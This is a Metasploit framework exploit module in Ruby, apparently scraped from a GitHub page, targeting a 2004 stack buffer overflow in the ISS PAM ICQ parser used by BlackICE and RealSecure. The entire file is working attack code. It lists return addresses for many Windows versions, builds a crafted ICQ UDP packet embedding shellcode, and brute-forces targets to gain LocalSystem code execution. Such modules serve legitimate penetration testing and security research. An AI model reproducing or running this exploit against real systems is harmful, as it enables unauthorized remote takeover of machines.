Path: blob/master/modules/exploits/windows/firewall/blackice_pam_icq.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'ISS PAM.dll ICQ Parser Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in the ISS products that use17the iss-pam1.dll ICQ parser (Blackice/RealSecure). Successful exploitation18will result in arbitrary code execution as LocalSystem. This exploit19only requires 1 UDP packet, which can be both spoofed and sent to a broadcast20address.2122The ISS exception handler will recover the process after each overflow, giving23us the ability to bruteforce the service and exploit it multiple times.24},25'Author' => 'spoonm',26'License' => MSF_LICENSE,27'References' => [28['CVE', '2004-0362'],29['OSVDB', '4355'],30['URL', 'http://www.eeye.com/html/Research/Advisories/AD20040318.html']31],32'Payload' => {33'Space' => 504 - 31 - 4,34'BadChars' => "\x00",35'MinNops' => 0,36'MaxNops' => 0,37'StackAdjustment' => -350038},39'Platform' => 'win',40'Targets' => [41[ 'Bruteforce', {} ],42[ 'Bruteforce iis-pam1.dll', { 'Targets' => 3..4 } ],43[ 'Bruteforce NT 4.0', { 'Targets' => 5..15 } ],44[ 'iis-pam1.dll 3.6.06', { 'Ret' => 0x5e0a47ef } ],45[ 'iis-pam1.dll 3.6.11', { 'Ret' => 0x5e0da1db } ],46[ 'WinNT SP3/SP4/SP5', { 'Ret' => 0x777e79ab } ],47[ 'WinNT SP4/SP5', { 'Ret' => 0x7733b8db } ],48[ 'WinNT SP5/SP6 - advapi32', { 'Ret' => 0x77dcd1cb } ],49[ 'WinNT SP3/SP5/SP6 - shell32', { 'Ret' => 0x77cec080 } ],50[ 'WinNT SP5/SP6 - mswsock', { 'Ret' => 0x7767ebca } ],51[ 'WinXP SP0/SP1 - shell32', { 'Ret' => 0x776606af } ],52[ 'WinXP SP0/SP1 - atl', { 'Ret' => 0x76b305a7 } ],53[ 'WinXP SP0/SP1 - atl', { 'Ret' => 0x76e61a21 } ],54[ 'WinXP SP0/SP1 - ws2_32', { 'Ret' => 0x71ab7bfb } ],55[ 'WinXP SP0/SP1 - mswsock', { 'Ret' => 0x71a5403d } ],56[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],57[ 'Win2000 SP0 - SP4', { 'Ret' => 0x750231e2 } ],58[ 'Win2000 SP2/SP3 - samlib', { 'Ret' => 0x75159da3 } ],59[ 'Win2000 SP0/SP1 - activeds', { 'Ret' => 0x77ed0beb } ],60[ 'Windows XP Pro SP0 English', { 'Ret' => 0x77e3171b } ],61[ 'Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527 } ],62[ 'WinXP SP0 - SP1', { 'Ret' => 0x71aa3a4b } ],63[ 'Win2003 SP0', { 'Ret' => 0x71bf3cc9 } ],64],65'DisclosureDate' => '2004-03-18',66'DefaultTarget' => 0,67'Notes' => {68'Reliability' => UNKNOWN_RELIABILITY,69'Stability' => UNKNOWN_STABILITY,70'SideEffects' => UNKNOWN_SIDE_EFFECTS71}72)73)7475register_options(76[77Opt::RPORT(1)78]79)80end8182def exploit83datastore['RPORT'] = rand(65536) if rport == 18485targs = [ target ]8687if target.name =~ /^Brute/88if target['Targets']89targs = []9091target['Targets'].each { |idx|92targs << targets[idx]93}94else95targs = targets.dup9697targs.delete_at(0)98targs.delete_at(0)99targs.delete_at(0)100end101end102103targs.each { |targ|104print_status("Trying target #{targ.name} [#{"%.8x" % targ.ret}]...")105106shellcode = payload.encoded + rand_text_english(payload_space - payload.encoded.length)107email = rand_text_english(19) + [targ.ret].pack('V') + shellcode108109# Hopefully this structure is correct -- ported from msf 2. Blame me110# (skape) if it doesn't work!111packet =112# SRV_MULTI113[5, 0, 0, 530, 0, 0, 1161044754, 0, 2].pack('vcVvvvVVc') +114# SRV_USER_ONLINE115[5, 0, 0, 110, 0, 0, 1161044754, 0].pack('vcVvvvVV') +116[1161044754, 1, 0, 0, 0, 0, 0].pack('VVVVcVV') +117# SRV_META_USER118[5, 0, 0, 990, 0, 0, 2018915346, 0].pack('vcVvvvVV') +119"\x00\x00\x0a" + # subcommand / success120"\x00\x00" + # nick length / nick121"\x00\x00" + # first length / first122"\x00\x00" + # last length / last123[email.length].pack('v') + email +124"\x00\x00\x00\x00\x00\x00\x00"125126print_status("Sending UDP request to #{datastore['RPORT']} (#{packet.length} bytes)")127128connect_udp(true, { 'CPORT' => 4000 })129udp_sock.put(packet)130disconnect_udp131132print_status("Sleeping (giving exception handler time to recover)")133134select(nil, nil, nil, 5)135}136end137end138139140